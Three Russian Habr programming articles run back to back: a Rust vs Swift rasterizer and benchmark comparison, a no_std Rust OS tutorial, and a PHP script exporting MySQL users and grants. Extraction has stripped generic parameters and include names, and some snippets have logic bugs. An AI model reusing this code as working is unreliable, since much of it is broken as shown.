Давайте теперь попробуем создать удобный буфер для хранения изображения так, чтобы к цвету любого пикселя можно было обращаться через операторы индекса. При этом выдвинем требование, чтобы пиксельная карта умела различную глубину цвета, поэтому будем делать её обобщенной:
**rust**
```
struct GenericPixmap {
w: usize,
h: usize,
data: Vec
}
impl GenericPixmap
where T: Copy + Clone
{
fn new(w: usize, h: usize, fill\_value: T) -> GenericPixmap {
GenericPixmap {
w: w,
h: h,
data: vec![fill\_value; w\*h]
}
}
}
impl Index for GenericPixmap
where T: Copy + Clone
{
type Output = [T];
fn index<'a>(&'a self, i: usize) -> &'a Self::Output {
let from = i\*self.w;
let to = from+self.w;
&self.data[from..to]
}
}
impl IndexMut for GenericPixmap
where T: Copy + Clone
{
fn index\_mut<'a>(&'a mut self, i: usize) -> &'a mut Self::Output {
let from = i\*self.w;
let to = from+self.w;
&mut self.data[from..to]
}
}
type Pixmap = GenericPixmap;
```
**swift**
```
struct GenericPixmap {
let w: Int
let h: Int
var data: [T]
init(width: Int, height: Int, fillValue: T) {
self.w = width
self.h = height
self.data = [T](count: w\*h, repeatedValue: fillValue)
}
func indexIsValid(x: Int, \_ y: Int) -> Bool {
return x >= 0 && x < w && y >= 0 && y < h
}
subscript(x: Int, y: Int) -> T {
get {
precondition(indexIsValid(x, y), "Index out-of-bounds")
return data[x \* y + y]
}
set {
precondition(indexIsValid(x,y), "Index out-of-bounds")
data[x \* y + y] = newValue
}
}
}
typealias Pixmap = GenericPixmap
```
Правила для обобщений в Rust'е более строгие и нам нужно явно указывать, что шаблонный тип должен уметь копироваться и создавать свою копию. В Swift'е же для полей структуры можно явно задавать их изменяемость. А ещё можно заметить ключевое слово init. Это конструктор класса или структуры, их может быть несколько, они могут друг другу делегировать свои полномочия. В результате это выливается в достаточно сложный и многоступенчатый процесс, который, тем не менее, точно гарантирует, что каждый член будет проинициализирован. В Rust'е же есть почленная инициализация и соглашение на то, что объект должен создаваться статической функцией new. Если же процесс обещает быть сложным, то рекомендуется использовать фабрики. Что же касается статических функий, то синтаксис Rust'а в этом смысле следует традициям python, а Swift же C++.
Хочу заметить, что оператор индекса в Swift может принимать любое количество аргументов любых типов, поэтому там можно написать оператор, получающий сразу конкретный элемент массива, в Rust'е же нужно создавать срез.
Теперь давайте создадим типаж Canvas, который позволяет нам рисовать не задумываясь о реализации самого процесса.
**rust**
```
trait Canvas
{
fn set_pixel(&mut self, x: usize, y:usize, color:u32);
}
impl Canvas for Pixmap
{
fn set_pixel(&mut self, x: usize, y:usize, color:u32)
{
self[x][y] = color;
}
}
```
**swift**
```
protocol Canvas {
func setPixel(x: Int, _ y: Int, color: UInt32);
}
class MyCanvas : Canvas {
var pixmap: Pixmap
init(width: Int, height: Int, fillValue: UInt32) {
self.pixmap = Pixmap(width:width, height:height, fillValue:fillValue)
}
func setPixel(x: Int, _ y: Int, color: UInt32)
{
pixmap[x, y] = color
}
}
```
К сожалению, не смог быстро разобраться с тем, как реализовать расширение для типа GenericPixmap, поэтому решил создать новый класс MyCanvas, который бы реализовывал протокол Canvas, в отличии от Rust'а в Swift'е можно наследоваться от протоколов и не только.
Теперь мы подошли к самому интересному — реализации алгоритма Брезенхема. Мы хотим нарисовать линию из точки (x1, y1, z1) в точку (x2, y2, z2), для этого нам нужно сделать (|x2-x1|, |y2-y1|, |z2-z1|) шагов в направлении, которое зависит от знаков выражения (x2-x1, y2-y1, z2-z1).
Итак, нам нужно пройти (rx, ry, rz) шагов в направлениях (sx, sy, sz), для этого мы находим ось, вдоль которой нужно совершить наибольшее число шагов. Перемещение на каждом шаге будет равно (rx/r[max, ry/r[max], rz/r[max]), при этом шаг будет происходить только если суммарное перемещение d стало больше единицы, тогда по оси делается шаг, а из суммарного перемещения вычитается единица. То есть:
```
d[i] += r[i] / r[max]
if d[i] >= 1 { r[i] -= s[i]; d[i] -= 1; }
```
Несложно заметить, что если домножить условие на rmax, то можно вообще обойтись без операции деления.
```
d[i] += r[i]
if d[i] >= r[max] { r[i] -= s[i]; d[i] -= r[max]; }
```
В итоге этот вариант алгоритма работает для любого числа координат и избегает операций с плавающей точкой, которые почти всегда затратнее операций с целыми числами.
Давайте попробуем написать генератор, который создает последовательность точек между конечными узлами a и b. При этом точка a будет включаться в последовательность.
**rust**
```
struct RasterState {
step: Vec3,
d: Vec3,
major_axis: usize,
}
struct LineRasterizer {
from: Vec3,
to: Vec3,
state: Option
}
impl LineRasterizer {
fn new(from: Vec3, to: Vec3) -> LineRasterizer {
LineRasterizer {
from: from,
to: to,
state: None
}
}
fn next\_point(&mut self) -> Option {
match self.state {
None => {
let mut state = RasterState {
step: Vec3 { x: 0, y: 0, z: 0 },
d: Vec3 { x: 0, y: 0, z: 0 },
major\_axis: 0
};
let mut max = 0;
for i in 0..3 {
let d = self.to[i] - self.from[i];
state.step[i] = if d > 0 { 1 } else { -1 };
let d = d.abs();
if d > max {
max = d;
state.major\_axis = i as usize;
};
}
self.state = Some(state);
Some(self.from)
},
Some(ref mut state) => {
if self.from == self.to {
None
} else {
let from = self.from; let to = self.to;
let calc\_residual\_steps = |axis| { (to[axis] - from[axis]).abs() };
self.from[state.major\_axis] += state.step[state.major\_axis];
let rs\_base = calc\_residual\_steps(state.major\_axis);
for i in 0..3 {
let rs = calc\_residual\_steps(i);
if rs > 0 && i != state.major\_axis {
state.d[i] += rs;
if state.d[i] >= rs\_base {
state.d[i] -= rs\_base;
self.from[i] += state.step[i];
}
}
}
Some(self.from)
}
},
}
}
}
```
**swift**
```
class LineRaster {
class State {
var step: Vector3
var d: Vector3
var majorAxis: Int
init() {
self.step = Vector3(x: 0, y: 0, z: 0)
self.d = Vector3(x: 0, y: 0, z: 0)
self.majorAxis = 0
}
}
var from: Vector3
let to: Vector3
var state: State?
init(from: Vector3, to: Vector3) {
self.from = from
self.to = to
}
func next_point() -> Vector3? {
if let state = self.state {
if (self.from == self.to) {
return nil
} else {
let calsResidualSteps = {axis in return abs(self.to[axis] - self.from[axis])}
self.from[state.majorAxis] += state.step[state.majorAxis];
let rsBase = calsResidualSteps(state.majorAxis);
for i in 0..<3 {
let rs = calsResidualSteps(i);
if rs > 0 && i != state.majorAxis {
state.d[i] += rs;
if state.d[i] >= rsBase {
state.d[i] -= rsBase;
self.from[i] += state.step[i];
}
}
}
return self.from
}
} else {
let state = State()
var max = 0;
for i in 0..<3 {
let d = self.to[i] - self.from[i];
state.step[i] = d > 0 ? 1 : -1;
let da = abs(d);
if da > max {
max = da;
state.majorAxis = i;
};
}
self.state = state
return self.from
}
}
}
```
Состояние генератора я решил сделать в виде опционального значения, это позволяет нам легко и сразу вернуть исходную точку from из генератора без необходимости заведения дополнительных флагов. В Rust опциональные значения сделаны просто через enum Option, в то время, как в Swift'е они являются частью языка, что позволяет легко описывать опциональные цепочки вызовов без лишнего синтаксического шума.
В Rust'е используется продвинутая система владения, чтобы подсказать ей, что мы одалживаем State из перечисления по ссылке, нужно писать ключевое слово ref. В Swift'е же State по умолчанию ссылочный тип данных, а move семантики в языке пока не наблюдается, поэтому мы можем просто взять и распаковать state ни о чем не заботясь.
Писать код типа:
```
while let Some(point) = rasterizer.next_point() { ... }
```
Мне кажется не слишком изящным, гораздо логичнее для этого выглядит.
```
for point in generator { ... }
```
К счастью для того, чтобы можно было использовать цикл for достаточно просто реализовать несколько типажей для нашего генератора.
**rust**
```
impl Iterator for LineRasterizer
{
type Item = Vec3;
fn next(&mut self) -> Option {
self.next\_point()
}
}
```
**swift**
```
extension LineRaster : GeneratorType {
func next() -> Vector3? {
return self.next_point()
}
}
extension LineRaster : SequenceType {
func generate() -> LineRaster {
return self
}
}
```
Причем для Swift'а нужно реализовать целых два протокола, в то время, как для Rust'а достаточно одного, но никакой принципиальной разницы это не несёт.
#### Давайте немного померяемся производительностью
Скорость исполнения кода является одним из важных факторов при сравнении различных языков программирования и глупо было бы написать статью не проведя замеры производительности.
Наивный вариант сравнения:
**rust**
```
fn test_code(canvas: &mut Canvas) {
let a = Vec3 { x: 0, y:0, z:0 };
let b = Vec3 { x: 50, y: 55, z: -20 };
let rasterizer = LineRasterizer::new(a, b);
for point in rasterizer {
let color = std::u32::MAX;
canvas.set_pixel(point.x as usize, point.y as usize, color);
}
}
for _ in 0..1000000 {
test_code(&mut canvas)
}
```
**swift**
```
func testCode(canvas: Canvas) -> () {
let a = Vector3(x: 0, y:0, z:0)
let b = Vector3(x: 50, y:55, z:-20)
let raster = LineRaster(from: a, to: b)
for point in raster {
let color = UInt32.max
canvas.setPixel(point.x, point.y, color: color)
}
}
...
var myCanvas: Canvas = canvas
for _ in 0..<1000000 {
testCode(myCanvas)
}
```
Мы просто передадим ссылку на Canvas в тестируемую функцию и замеряем время.
Получилось 0.86 у Rust против 5.3 у Swift. Вполне вероятно, что Rust как-то заинлайнил вызовы, а Swift же остался на уровне динамической диспетчеризации. Чтобы проверить это попробуем написать обобщенную функцию.
**rust**
```
fn test_code_generic(canvas: &mut T) {
let a = Vec3 { x: 0, y:0, z:0 };
let b = Vec3 { x: 50, y: 55, z: -20 };
let rasterizer = LineRasterizer::new(a, b);
for point in rasterizer {
let color = std::u32::MAX;
canvas.set\_pixel(point.x as usize, point.y as usize, color);
}
}
```
**swift**
```
func testCodeGeneric(canvas: T) -> () {
let a = Vector3(x: 0, y:0, z:0)
let b = Vector3(x: 50, y:55, z:-20)
let raster = LineRaster(from: a, to: b)
for point in raster {
let color = UInt32.max
canvas.setPixel(point.x, point.y, color: color)
}
}
```
Результаты 0.83 у Rust, против 4.94 у Swift, что говорит нам о том, что всё-таки Swift сумел лучше соптимизировать код, но где-то ещё остались узкие места, в которых он не смог разобраться.
Теперь попробуем упаковать Canvas в box, а для Swift воспользоваться модификатором inout, который по своему действию подобен &mut.
**rust**
```
fn test_code_boxed(canvas: &mut Box) {
let a = Vec3 { x: 0, y:0, z:0 };
let b = Vec3 { x: 50, y: 55, z: -20 };
let rasterizer = LineRasterizer::new(a, b);
for point in rasterizer {
let color = std::u32::MAX;
canvas.set\_pixel(point.x as usize, point.y as usize, color);
}
}
```
**swift**
```
func testCodeInout(inout canvas: Canvas) -> () {
let a = Vector3(x: 0, y:0, z:0)
let b = Vector3(x: 50, y:55, z:-20)
let raster = LineRaster(from: a, to: b)
for point in raster {
let color = UInt32.max
canvas.setPixel(point.x, point.y, color: color)
}
}
```
Результаты 0.91 у Rust, против 6.44 у Swift.
Боксинг несколько замедлил выполнение кода, но не так уж и значительно, а вот добавление inout весьма существенно повлияло на Swift. Видимо возможность поменять ссылку на canvas связывает оптимизатору руки.
В целом же Rust оказывается более производительным при схожем стиле написания кода. Концепция владения дает возможность компилятору не только проверить на этапе компиляции корректность программы, но также и избежать использования счетчика ссылок в тех случаях, когда он не нужен, наоборот вы явно должны будете его использовать, если он вам понадобится. Swift же по умолчанию везде для классов использует счетчик ссылок, что во многих случаях приводит к ухудшению производительности, причем даже если компилятор сумеет убрать подсчет ссылок в каких-то тривиальных случаях, это не даст гарантий, что в чуть более сложных он сможет сделать это, Rust же просто не даст коду скомпилироваться. Это говорит как о большей зрелости компилятора, так и об эффективности заложенных в нем концепций.
В завершении хотелось бы сравнить, как Rust и Swift смотрятся на фоне старичка C++.
**Вполне обыденный код бенчмарка**
```
#include
#include
#include
#include
#include
template
struct GenericPixmap
{
size\_t w, h;
std::vector data;
GenericPixmap(size\_t w\_, size\_t h\_, T fill\_data = T()) :
w(w\_), h(h\_),
data(w\_\*h\_, fill\_data)
{
}
T\* operator[] (size\_t i)
{
return &data[i\*w];
}
};
struct Vec3
{
int x, y, z;
int& operator[] (size\_t i)
{
assert(i >=0 && i < 3);
switch (i) {
case 0: return x;
case 1: return y;
case 2: return z;
default: break;
}
return z;
}
};
bool operator== (const Vec3 &a, const Vec3 &b)
{
return a.x == b.x && a.y == b.y && a.z && b.z;
}
bool operator!= (const Vec3 &a, const Vec3 &b)
{
return !(a == b);
}
struct RasterState
{
Vec3 step;
Vec3 d;
size\_t majorAxis;
};
struct LineRaster
{
Vec3 from;
Vec3 to;
bool firstStep;
RasterState state;
LineRaster(const Vec3 &f, const Vec3 &t) : from(f), to(t), firstStep(true), state{}
{}
bool next\_point()
{
if (firstStep) {
size\_t max = 0;
for (int i = 0; i < 3; ++i) {
auto d = to[i] - from[i];
state.step[i] = d > 0 ? 1 : -1;
d = std::abs(d);
if (d > max) {
max = d;
state.majorAxis = i;
}
}
firstStep = false;
return true;
} else {
if (from == to)
return false;
else {
auto calc\_rs = [this](auto axis) { return std::abs(to[axis] - from[axis]); };
from[state.majorAxis] += state.step[state.majorAxis];
auto rs\_base = calc\_rs(state.majorAxis);
for (int i = 0; i < 3; ++i) {
auto rs = calc\_rs(i);
if (rs > 0 && i != state.majorAxis) {
state.d[i] += rs;
if (state.d[i] >= rs\_base) {
state.d[i] -= rs\_base;
from[i] += state.step[i];
}
}
}
return true;
}
}
}
};
using Pixmap = GenericPixmap;
void test\_code(Pixmap &pixmap)
{
Vec3 a { 0, 0, 0 };
Vec3 b { 50, 55, -20 };
LineRaster raster(a, b);
while (raster.next\_point()) {
const auto &p = raster.from;
pixmap[p.x][p.y] = 0xFFFFFF;
}
}
int main(int, char \*\*) {
Pixmap pixmap(300, 300, 0);
Vec3 a { 0, 0, 0 };
Vec3 b { 10, 5, -4 };
LineRaster raster(a, b);
while (raster.next\_point()) {
const auto &p = raster.from;
uint32\_t color = 0xffffff;
pixmap[p.x][p.y] = color;
std::cout << "C++: point x:" << p.x << " y:" << p.y << " z:" << p.z << " color:" << color << std::endl;
}
for (size\_t i = 0; i < 1000000; ++i)
test\_code(pixmap);
}
```
В процессе написания столкнулся с несколькими ошибками сегментации и даже пришлось поотлаживать в lldb, прежде, чем получить результат.
0.79 у Rust, против 0.31 у gcc.
Результат очень интересен: с одной стороны Rust практически идентичную с clang скорость показывает, но с другой стороны gcc просто превзошел всех. То есть в целом платформе llvm есть куда стремится, но в рамках неё Rust уже в спину дышит clang'у, а это значит, что на нем уже можно вполне смело начинать писать критические по требованиям производительности участки.
Полный код бенчмарков лежит на [github'е](https://github.com/alekseysidorov/playground/tree/master/swift_vs_rust). Предложения об улучшении производительности принимаются.
К сожалению, сложно рассмотреть в одной статье всё, за бортом остались такие интересные вещи, как обработка ошибок, инфраструктура, связь с кодом на C или ObjectiveC, свойства, и многое многое другое и я надеюсь, что смогу коснуться этих вещей в будущем.
#### Выводы
Разработчики Swift'а заметно больше уделяют времени читабельности кода, добавляя множество синтаксического сахара в язык. Rust же более аскетичен в этом вопросе старается обойтись наименьшим количеством сущностей. Впрочем, многие вещи можно добавить при помощи макросов или плагинов к компилятору. За счет эффективных zero cost абстракций код на Rust'е получается более производительным, но зато и более сложным для восприятия. Swift же позволяет писать программы меньше обращая внимание на управление памятью, код при этом получается весьма и весьма эффективным, хотя и уступает по этому показателю Rust'у.
Что касается инфраструктуры, то для Swift'а есть прекрасная IDE XCode, но доступная лишь для OS X, а привязки с Cocoa позволяют уже сейчас писать и выпускать графические приложения для iOS или OS X. Rust же может похвастаться своим сargo и crates.io, где обитает и развивается огромное количество библиотек и приложений, но пока среди них нет ни развитой IDE ни хорошего GUI фреймворка.
К сожалению ничего нельзя сказать насчет многопоточного программирования потому, что в Swift'е пока нет родной поддержки, только через Grand Central Dispatch, но подход Rust'а позволяет писать одновременно быстрые и надежные приложения. Строгий компилятор просто убережет вас от ошибок синхронизации.
Вакансий на Swift сейчас куда больше, да и учить его проще, но это не значит, что специалисты по Rust'у в ближайшее время не будет востребованы. Думаю в мире найдется немало задач, в которых оба этих языка будут безжалостно конкурировать друг с другом и, я надеюсь, это пойдет им на пользу.
#### Послесловие
Бескомпромиссен и аскетичен Rust, Светлой стороне благоприятен он, Swift же сахаром синтаксическим своим на Темную сторону завести может.
**Update**
Пользователь [Yarry](https://github.com/yarry) прислал мне pull request, который сумел ускорить Swift версию в два раза путем замены классов на структуру. Структуры в Swift'е ведут себя как свои аналоги из мира C, они выделяются на стеке и для них нет необходимости в подсчете ссылок потому, что они копируются при передаче в функцию. Но при этом документация Swift утверждает, что в реальности копирование происходит лишь когда это требуется. Таким образом, при знании подобных тонкостей, можно существенно ускорить код. С другой стороны в Rust'е вы вынуждены об этом думать явно, что хоть и делает кривую обучения более крутой, зато потом придется меньше возиться с профилированием и всякими экспериментами по оптимизации кода. | https://habr.com/ru/post/272681/ | null | ru | null |
# Пишем ОС на Rust. Настройка среды. Бинарник для «голого» железа
Настройка среды. "Голый" бинарник, или Исполняемый файл без main()
==================================================================
Первый шаг в написании своей ОСи — создание бинарника, не зависящего от стандартных библиотек, это делает возможным запуск кода без ОС — мы же пишем свою.
Оригинал блога разрабатывается [на GitHub](https://github.com/phil-opp/blog_os). Замечания к оригиналу оставляйте на странице Issues репозитория выше, а к переводу — в личке, комментариях или [тут](https://github.com/RMuskovets/os-in-rust). Код, написанный в этой статье, содержится в [`ветке post-01`](https://github.com/phil-opp/blog_os/tree/post-01).
Вступление
==========
Для того, чтобы написать свою ОС, нам нужен код, не зависящий от библиотек или функций другой операционной системы. Это значит, что мы не можем использовать потоки исполнения (threads), файлы, память в куче (heap), сеть, вывод в терминал и так далее. Но это можно преодолеть, написав свою ОС и драйвера.
Мы не можем использовать большую часть [стандартной библиотеки Rust](https://doc.rust-lang.org/std/), но также есть много функций, которые мы *можем* использовать. Например [итераторы](https://doc.rust-lang.org/book/ch13-02-iterators.html), [замыкания](https://doc.rust-lang.org/book/ch13-01-closures.html), [сопоставление с образцом](https://doc.rust-lang.org/book/ch06-00-enums.html), [Option](https://doc.rust-lang.org/core/option/) и [Result](https://doc.rust-lang.org/core/result/), [форматирование строк](https://doc.rust-lang.org/core/macro.write.html), и конечно же, [концепцию владения](https://doc.rust-lang.org/book/ch04-00-understanding-ownership.html). Это позволит написать своё ядро в высокоуровневом стиле, не заботясь о [неопределённом поведении](https://www.nayuki.io/page/undefined-behavior-in-c-and-cplusplus-programs) или [безопасности памяти](https://tonyarcieri.com/it-s-time-for-a-memory-safety-intervention).
Эта статья рассказывает, как создать автономный исполняемый файл и почему это необходимо. Если нужен только пример, можно прокрутить до части "Заключение".
Отключение стандартной библиотеки
=================================
По умолчанию скомпилированный код собирается с участием стандартной библиотеки, которой нужна ОС для реализации таких функций, как файлы, сеть и т.д. Также она зависит от стандартной библиотеки С: `libc`, которая еще больше использует фичи ОС. А так как мы пишем программу, которая заместит собой обычную ОС, это нам не подходит. Нужно отключить библиотеки с помощью [`no_std`](https://doc.rust-lang.org/1.30.0/book/first-edition/using-rust-without-the-standard-library.html).
Сначала создадим проект с помощью Cargo. Это делается с помощью коммандной строки:
```
cargo new os-in-rust --bin --edition 2018
```
Я назвал проект `os-in-rust` (для избегания путаницы с оригинальным блогом), но можно выбрать любое имя. Флаг `--bin` говорит, что нужен проект, который будет собираться в исполняемый файл, а не в библиотеку. `--edition 2018` значит, что нужно использовать именно [редакцию Rust 2018](https://doc.rust-lang.org/nightly/edition-guide/rust-2018/index.html). Cargo сгенерирует такую структуру папок:
```
os-in-rust
├── Cargo.toml
└── src
└── main.rs
```
Файл `Cargo.toml` содержит конфигурацию: название проекта, автор, версию и зависимости. В `src/main.rs` содержится код, который выполнится, когда мы запустим скомпилированный бинарник. Компилируется он коммандой `cargo build`, а исполняемый файл будет в папке `target/debug`.
Атрибут `no_std`
----------------
Сейчас код собирается *с* использованием стандартной библиотеки. Это поведение можно выключить с помощью [`атрибута no_std`](https://doc.rust-lang.org/1.30.0/book/first-edition/using-rust-without-the-standard-library.html):
```
// main.rs
#![no_std]
fn main() {
println!("Hello, world!");
}
```
Если попробовать собрать проект, получим ошибку:
```
error: cannot find macro `println!` in this scope
--> src/main.rs:4:5
|
4 | println!("Hello, world!");
| ^^^^^^^
```
Причиной этому является тот факт, что макрос `println` — часть библиотеки Rust, которую мы больше не используем. Получается, мы не можем ничего выводить. Это имеет смысл, так как для вывода нужна консоль или файл, а для них нужна запущенная ОС. :(
Так что удалим вывод и снова попробуем запустить сборку:
```
// main.rs
#![no_std]
fn main() {}
```
```
> cargo build
error: `#[panic_handler]` function required, but not found
error: language item required, but not found: `eh_personality`
```
Реализация `panic!()`
---------------------
Атрибут `panic_handler` говорит языку, что эту функцию нужно вызвать, если произошла паника (вызов `panic!()`). В стандартных библиотеках она есть, но в среде `no_std` надо её создать самим:
```
// main.rs
#[panic_handler]
fn panic(_info: &PanicInfo) -> ! {
loop {}
}
```
В параметре `PanicInfo` содержится файл и номер строки, где код запаниковал, а также (опциональное) сообщение об ошибке. Эта функция не должна возвращать выполнение другой, поэтому тип возвращаемого значения — `!` (never). Сейчас она ничего не делает, а просто устраивает бесконечный цикл.
`eh_personality`
----------------
`eh_personality` — это "элемент языка", функция или тип, которые необходимы для работы компилятора. Например, типаж `Copy` — элемент языка, который говорит компилятору, какие типы поддерживают [семантику копирования](https://doc.rust-lang.org/nightly/core/marker/trait.Copy.html). Если посмотреть на его реализацию, можно увидеть атрибут `#[lang = "copy"]`, который определяет этот типаж как элемент языка.
Вообще, можно попробовать создать свою реализацию элементов языка, это нужно использовать только в крайнем случае, потому, что они *очень* часто меняются и даже не имеют проверки типов! Хорошо, что есть еще один способ.
Элемент языка `eh_personality` помечает функцию, которая используется для реализации "разматывания" стека вызовов. По умолчанию Rust использует это для вызова деструкторов всех переменных на стеке в случае паники, чтобы освободить всю использованную память. Но это сложный процесс, которому требуются библиотеки, специфические для каждой ОС ([`libunwind`](https://www.nongnu.org/libunwind/) на Linux и [структурированная обработка исключений](https://docs.microsoft.com/ru-ru/windows/win32/debug/structured-exception-handling) на Windows), то мы не будем это использовать.
### Выключение разматывания
Rust дает возможность просто [прерывать исполнение программы в случае паники](https://github.com/rust-lang/rust/pull/32900). Это также исключает необходимые для разматывания данные, уменьшая бинарник. Есть несколько мест, где можно это выключить. Самое простое — `Cargo.toml`:
```
[profile.dev]
panic = "abort"
[profile.release]
panic = "abort"
```
Это устанавливает стратегию обработки паники в значение `abort` и для профиля `dev` (используется при вызове `cargo build`), и для профиля `release` (`cargo build --release`). Теперь нам не нужен `eh_personality`.
Мы пофиксили обе ошибки. Но теперь есть новая:
```
> cargo build
error: requires `start` lang_item
```
Атрибут `start`
---------------
Можно подумать, что функция `main` вызывается первой при исполнении программы. Но это не так для большинства языков. Много языков программирования имеют свою среду исполнения, которая отвечает за сборку мусора (Java, C#, JavaScript...) или программных потоков исполнения (корутины, горутины в Go). Эту среду нужно инициализировать перед вызовом `main` с очевидных причин.
В типичном исполняемом файле Rust исполнение начинается в библиотеке, которая называется `crt0`, что настраивает среду для исполнения кода на С. Это, помимо прочего, включает в себя создание стека и укладывание параметров в правильные регистры. Потом среда С вызывает [среду Rust](https://github.com/rust-lang/rust/blob/bb4d1491466d8239a7a5fd68bd605e3276e97afb/src/libstd/rt.rs#L32-L73) в месте, помеченным `start`, Rust инициализируется, и только потом вызывает `main()`.
Наш код мог бы переопределить этот элемент языка, но тогда он имел бы зависимость от `crt0`, а это нам не надо. Так что переопределять он будет входную точку `crt0`.
### Переопределение точки входа
Чтобы сказать компилятору, что мы *не* используем обычную цепочку вызовов при инициализации, надо добавить атрибут `#![no_main]`.
```
#![no_std]
#![no_main]
use core::panic::PanicInfo;
#[panic_handler]
fn panic(_info: &PanicInfo) -> ! {
loop {}
}
```
Мы удалили функцию `main()`, так как она все равно не вызывается. Вместо нее надо определить функцию `_start`:
```
#[no_mangle]
pub extern "C" fn _start() -> ! {
loop {}
}
```
Используя атрибут `#[no_mangle]`, мы выключаем искажение имен, чтобы компилятор назвал функцию `_start`, а не, например, `_ZN3blog_os4_start7hb173fedf945531caE`. Это используется компилятором для того, чтобы избежать ошибок переопределения.
Также надо пометить функцию `extern "C"`, это говорит компилятору, что функцию надо вызывать с помощью конвенции С, а не Rust (которая еще и изменяться, видно, может, так как по ней нету документации). Название такое в функции потому, что это название точки входа по умолчанию на большинстве систем.
Вы, наверное, заметили, что она возвращает `!`, то есть, не заканчивает свое исполнение. Это нужно потому, что эту функцию будет вызывать загрузчик, а если она завершится, то ПК выключится (или перезагрузится).
Теперь, если сделать `cargo build`, мы получим *ошибку сборщика*.
Ошибки сборщика
===============
Сборщик — это программа, которая собирает ваш код и библиотеки, которые ему нужны, в единое целое. А так как разные системы имеют свои форматы исполняемых файлов, они имеют свои сборщики, и разные ошибки.
Надо сделать так, чтобы они не появлялись, нужно сказать сборщику, что мы не используем стандартные библиотеки. Это можно сделать 2 способами: передавая сборщику параметры, или созданием *конфигурации целевой платформы*.
Сборка для "железа"
-------------------
По умолчанию Rust пробует создать исполняемый файл для вашей платформы. Если вы используете Windows на `x86-64`, Rust создаст `.exe` с инструкциями для архитектуры `x86-64`. Это называется *целевая платформа*.
Для различания платформ Rust (да и многие другие инструменты) использует *target triples*. Чтобы увидеть эту строку для вашего ПК, надо выполнить `rustc --version --verbose`:
```
rustc 1.47.0-nightly (576d27c5a 2020-08-12)
binary: rustc
commit-hash: 576d27c5a6c80cd39ef57d7398831d8e177573cc
commit-date: 2020-08-12
host: x86_64-unknown-linux-gnu
release: 1.47.0-nightly
LLVM version: 10.0
```
Это вывела данная команда на моей системе (Linux x86-64). Параметр, который нас интересует — `host`. Он говорит, что:
* система на базе `x86-64`,
* ОС: Linux,
* [ABI](https://ru.wikipedia.org/wiki/%D0%94%D0%B2%D0%BE%D0%B8%D1%87%D0%BD%D1%8B%D0%B9_%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D1%84%D0%B5%D0%B9%D1%81_%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9): GNU
Компилируя для такой платформы, Rust думает, что бинарник будет исполняться на какой-нить операционной системе (в моем случае, Linux) и использует системные библиотеки (`libc`, `libunwind` и другие). Чтобы не было ошибок сборщика, надо компилировать под другую целевую платформу.
Примером такой платформы является `thumbv7em-none-eabihf`, что означает встраиваемая система на базе ARM. Детали нас не интересуют, главное то, что там нет ОС (`none`). Чтобы иметь возможность компиляции под данную платформу, надо добавить её с помощью Rustup:
```
rustup target add thumbv7em-none-eabihf
```
Теперь можно скомпилировать код:
```
cargo build --target thumbv7em-none-eabihf
```
Используя флаг `--target`, мы кросс-компилируем код для другой платформы. Так как написано, что нету операционной системы, сборщик даже не пробует найти библиотеки.
Это тот способ, который мы будем использовать. Но вместо `thumbv7em-none-eabihf` мы создадим [кастомное описание платформы](https://doc.rust-lang.org/rustc/targets/custom.html) для `x86-64`. Детали будут в следующей статье (которую я пока не перевел), а пока можно почитать [оригинал](https://os.phil-opp.com/minimal-rust-kernel/). Если не ошибаюсь, эти статьи также переводил [m1rko](https://habr.com/ru/users/m1rko/), но не могу найти эту (да и любую).
Заключение
==========
Код для минимального бинарника, что запустится на голом железе выглядит так:
`src/main.rs`:
```
#![no_std] // don't link the Rust standard library
#![no_main] // disable all Rust-level entry points
use core::panic::PanicInfo;
#[no_mangle] // don't mangle the name of this function
pub extern "C" fn _start() -> ! {
// this function is the entry point, since the linker looks for a function
// named `_start` by default
loop {}
}
/// This function is called on panic.
#[panic_handler]
fn panic(_info: &PanicInfo) -> ! {
loop {}
}
```
`Cargo.toml`:
```
[package]
name = "crate_name"
version = "0.1.0"
authors = ["Author Name "]
# the profile used for `cargo build`
[profile.dev]
panic = "abort" # disable stack unwinding on panic
# the profile used for `cargo build --release`
[profile.release]
panic = "abort" # disable stack unwinding on panic
```
Для сборки — эта команда:
```
cargo build --target thumbv7em-none-eabihf
```
Но есть одно **но**. Это только минимальный пример. Этот бинарник ожидает некоторые вещи, например, что стек будет инициализирован. **Если захотите использовать это где-то, надо доработать.** | https://habr.com/ru/post/527682/ | null | ru | null |
# Перенос пользователей и их привилегий в MySQL
Приветствую уважаемое Хабросообщество! Как известно у сервера MySql нет встроенных механизмов для переноса пользователей MySql и их привилегий на другой сервер. В сети готовых решений крайне мало, и в этой небольшой статье мы перенесем наших пользователей MySql и их привилегии, с одного сервера на другой, за несколько минут.
Актуальность данной задачи описывать особо смысла нет. Если сами базы данных можно перенести кучей способов, то с пользователями, если их много, возникает проблема.
Вообще задача тривиальна: на любом языке программирования, работающим с MySql, запустить скрипт, который вытащит из базы mysql пользователей и их привилегии. Мне проще работать с php.
За основу взят [gist](https://gist.github.com/zaiddabaeen/e88a2d10528e31cd6692) от Zaid Daba'een
**Код php скрипта**
```
php
/** Feel free to improve it.
* Original by Janich: https://gist.github.com/janich/6121771
*
* @requires PHP 5.3+
* @package ExportMySQLUsers
* @author Zaid Daba'een
* @license http://www.dbad-license.org/ DBAD license
*/
// Set up database root credentials
$host = 'localhost';
$user = 'root';
$pass = 'your_passwd';
// ---- Do not edit below this ----
// Misc settings
header('Content-type: text/plain; Charset=UTF-8');
// Final import queries goes here
$export = array();
// Connect to database
try {
$link = new PDO("mysql:host=$host;dbname=mysql", $user, $pass);
} catch (PDOException $e) {
printf('Connect failed: %s', $e-getMessage());
die();
}
// Get users from database
//$statement = $link->prepare("select `user`, `host`, `authentication_string` FROM `user`");
$statement = $link->prepare("select `user`, `host`, `password` FROM `user`");
$statement->execute();
while ($row = $statement->fetch())
{
$user = $row[0];
$host = $row[1];
$pass = $row[2];
$export[] = 'CREATE USER \''. $user .'\'@\''. $host .'\' IDENTIFIED BY \''. $pass .'\'';
// Fetch any permissions found in database
$statement2 = $link->prepare('SHOW GRANTS FOR \''. $user .'\'@\''. $host .'\'');
$statement2->execute();
while($row2 = $statement2->fetch())
{
$export[] = $row2[0];
}
}
$link = null;
echo implode(";\n", $export);
```
Если версия MySql
```
mysql --version
```
Больше 5.6, например 5.7
То раскоментируйте строку:
```
//$statement = $link->prepare("select `user`, `host`, `authentication_string` FROM `user`");
```
И закомментируйте:
```
$statement = $link->prepare("select `user`, `host`, `password` FROM `user`");
```
